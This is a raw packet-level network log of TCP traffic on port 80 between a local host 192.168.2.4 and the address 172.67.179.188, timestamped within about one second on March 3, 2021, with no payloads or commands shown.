Mar 3, 2021 07:33:31.884637117 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884653091 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884661913 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884694099 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885025978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885044098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885060072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885075092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885090113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885097980 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885104895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885121107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885135889 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885139942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885154963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885157108 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885193110 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885546923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885565996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885581017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885597944 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885615110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885613918 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885629892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885646105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885653973 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885660887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885677099 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885679960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885691881 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885696888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885713100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885725975 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885727882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885745049 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885759115 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885760069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885776043 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885782957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.885792017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.885832071 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.886497021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886518002 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886533022 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886548996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886565924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886575937 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.886581898 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886599064 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886617899 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886635065 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886650085 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886655092 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.886665106 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886679888 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886686087 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.886694908 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886710882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886713028 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.886725903 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886744976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.886755943 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.886802912 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.887459993 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887482882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887497902 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887516975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887535095 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887533903 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.887551069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887567043 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887573957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.887583017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887615919 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887623072 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.887631893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887650013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887666941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887674093 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.887682915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887697935 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887703896 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.887715101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887729883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.887732029 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.887763023 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.888302088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888478041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888495922 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888510942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888530016 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888539076 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.888545990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888571024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888591051 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888591051 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.888607979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888617039 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.888624907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888639927 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888648987 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.888657093 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888670921 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888672113 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.888688087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888701916 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888721943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.888729095 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.888772964 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.889246941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.890021086 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.951673985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951742887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951775074 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951797962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951822042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951843977 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.951848030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951872110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951893091 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.951894045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951934099 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951941013 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.951972961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.951996088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952014923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952033997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.952059984 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.952686071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952713966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952735901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952758074 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952780962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952784061 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.952802896 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952807903 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.952828884 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952837944 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.952853918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952876091 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952892065 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.952899933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952923059 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952944040 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.952946901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952970982 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.952999115 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953023911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953025103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953048944 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953054905 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953072071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953084946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953095913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953119040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953140020 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953140974 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953181028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953203917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953222990 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953228951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953252077 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953253031 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953270912 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953289986 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953578949 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953604937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953629017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953650951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953660965 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953675032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953696012 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953715086 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953726053 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953751087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953773975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953797102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953797102 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953823090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953845978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953847885 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953869104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953883886 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953891039 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953915119 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953937054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953953981 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.953958988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.953991890 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.954474926 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954499960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954524994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954547882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954571962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954575062 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.954595089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954617023 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.954617977 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954644918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954668045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954690933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954714060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954730988 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.954735994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954735994 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.954752922 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.954757929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954782963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954804897 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954804897 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.954830885 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.954874992 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955444098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955488920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955518961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955542088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955548048 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955564022 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955564976 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955586910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955604076 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955614090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955637932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955658913 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955660105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955682993 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955704927 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955718040 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955727100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955749989 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955771923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955780983 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955799103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955801010 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.955821991 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.955832005 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956338882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956379890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956387997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956404924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956429005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956450939 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956450939 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956475019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956496954 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956507921 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956521034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956540108 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956543922 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956569910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956592083 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956593037 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956617117 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956630945 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956640005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956662893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956684113 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.956686020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956708908 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.956728935 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.957608938 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.957659006 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.957679033 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.957724094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.957781076 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.957791090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.957849979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.957892895 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.957915068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.957977057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958014011 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.958058119 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958169937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958214998 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.958277941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958389997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958550930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958574057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958597898 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.958628893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.958707094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958820105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.958864927 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.958913088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959621906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959657907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959680080 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959702969 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959712029 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.959727049 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959733963 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.959748983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959772110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959772110 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.959794044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959800959 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.959820032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959842920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959851980 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.959866047 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959889889 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959912062 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959913015 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.959934950 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959958076 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959959030 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.959981918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.959991932 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.960007906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.960030079 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.960052013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.960058928 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.960074902 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.960093975 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.960098028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.960114002 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.960150957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.022937059 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.022968054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.024257898 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.024269104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.024290085 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.024307966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025238037 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025254011 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025269985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025285959 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025301933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025317907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025321960 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025336027 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025357008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025374889 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025376081 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025405884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025409937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025427103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025443077 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.025456905 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.025460005 CET	80	49778	172.67.179.188	192.168.2.4
